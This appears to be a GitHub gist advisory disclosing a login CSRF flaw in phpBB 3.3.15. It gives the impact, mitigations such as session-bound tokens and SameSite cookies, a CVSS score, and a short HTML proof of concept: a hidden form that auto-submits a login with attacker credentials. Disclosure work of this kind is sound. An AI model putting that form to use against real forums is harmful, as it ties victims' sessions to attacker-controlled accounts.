Skip to content

Instantly share code, notes, and snippets.

@ariefibis
Created March 30, 2026 05:14
Show Gist options
  • Select an option

  • Save ariefibis/80e306765c23d6fac1584dbb76822e30 to your computer and use it in GitHub Desktop.

Select an option

Save ariefibis/80e306765c23d6fac1584dbb76822e30 to your computer and use it in GitHub Desktop.
# CVE-2025-70810 — CSRF in phpBB 3.3.15 Login Functionality ## Summary A Cross-Site Request Forgery (CSRF) issue exists in phpBB version 3.3.15 within the login functionality. The application does not enforce CSRF protection mechanisms sufficiently bound to the user session during authentication requests, allowing crafted requests to be executed…
## Description
The login endpoint accepts POST requests without robust CSRF validation tied to the user session.
An attacker can craft a malicious webpage that forces a victim’s browser to submit a login request. This may result in the victim being authenticated under attacker-controlled credentials (session confusion scenario).
## Impact
- Session manipulation (login CSRF)
- Account context confusion
- Potential misuse of authenticated session workflows
> Note: This does not directly expose credentials but may lead to unintended session states.
## Proof of Concept
```html
<form action="http://target/phpBB3/ucp.php" method="POST">
<input type="hidden" name="username" value="attacker_user" />
<input type="hidden" name="password" value="attacker_pass" />
<input type="hidden" name="autologin" value="on" />
<input type="hidden" name="login" value="Login" />
</form>
<script>
document.forms[0].submit();
</script>
Exploitation Scenario
Victim is logged into phpBB or has an active session.
Victim visits attacker-controlled webpage.
Browser submits forged login request.
Victim session becomes associated with attacker-controlled account.
Mitigation
Enforce CSRF tokens for authentication requests
Bind CSRF tokens to user session and validate strictly
Implement SameSite cookie attributes (Lax/Strict)
Validate Origin and Referer headers
CVSS v3.1
Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N
Severity: Medium
Credits
Mohammed Arief
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment